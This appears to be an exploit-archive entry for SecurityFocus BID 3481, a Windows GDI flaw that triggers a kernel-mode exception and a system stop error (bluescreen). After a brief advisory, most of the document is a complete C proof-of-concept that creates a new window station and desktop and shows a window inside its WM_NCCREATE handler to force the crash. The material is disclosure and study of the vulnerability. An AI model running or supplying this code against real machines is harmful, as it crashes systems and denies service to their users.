52 lines
No EOL
2.3 KiB
Text
52 lines
No EOL
2.3 KiB
Text
source: https://www.securityfocus.com/bid/3481/info
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The Windows Graphics Device Interface (GDI) is a set of Application Programming Interfaces (APIs) used to display graphical output.
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A vulnerability exists which causes the GDI to invoke a Kernel Mode Exception due to a memory access error. This action will result in a system stop error (bluescreen). A reboot of the system will allow normal system recovery.
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This condition may be due to an inability of the GDI API to handle requests with malformed or invalid arguments or flags.
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#include <windows.h>
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LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
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{
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switch(message)
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{
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case WM_NCCREATE:
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{
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ShowWindow(hwnd, SW_SHOW);
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}
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return TRUE;
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}
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return DefWindowProc(hwnd, message, wParam, lParam);
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}
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int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
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{
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HWINSTA ws = CreateWindowStation(NULL, 0, WINSTA_CREATEDESKTOP | GENERIC_ALL, NULL);
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SetProcessWindowStation(ws);
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HDESK dt = CreateDesktop("TEST", 0, 0, 0, DESKTOP_CREATEWINDOW | GENERIC_ALL | DESKTOP_CREATEMENU | DESKTOP_SWITCHDESKTOP | DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS, NULL); // no idea what access I actually need, I think this is just about everything
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SetThreadDesktop(dt);
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WNDCLASS wndclass = {0};
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wndclass.style = CS_HREDRAW | CS_VREDRAW;
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wndclass.lpfnWndProc = WndProc;
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wndclass.hInstance = hInstance;
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wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION); // default icon
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wndclass.hCursor = LoadCursor(NULL, IDC_ARROW); // default cursor. One or other (or both?) of these seem to be necessary.
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wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
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wndclass.lpszMenuName = NULL;
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wndclass.lpszClassName = TEXT("Crash");
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RegisterClass(&wndclass);
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HWND hwnd = CreateWindowEx(WS_EX_TOOLWINDOW, TEXT("Crash"), TEXT("Crash"), WS_POPUP, 300, 300, 300, 445, NULL, NULL, hInstance, NULL);
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// NEVER GETS HERE.
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ShowWindow(hwnd, iCmdShow);
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UpdateWindow(hwnd);
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MSG msg;
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while(GetMessage(&msg, NULL, 0, 0))
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{
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TranslateMessage(&msg);
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DispatchMessage(&msg);
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}
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return msg.wParam;
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} |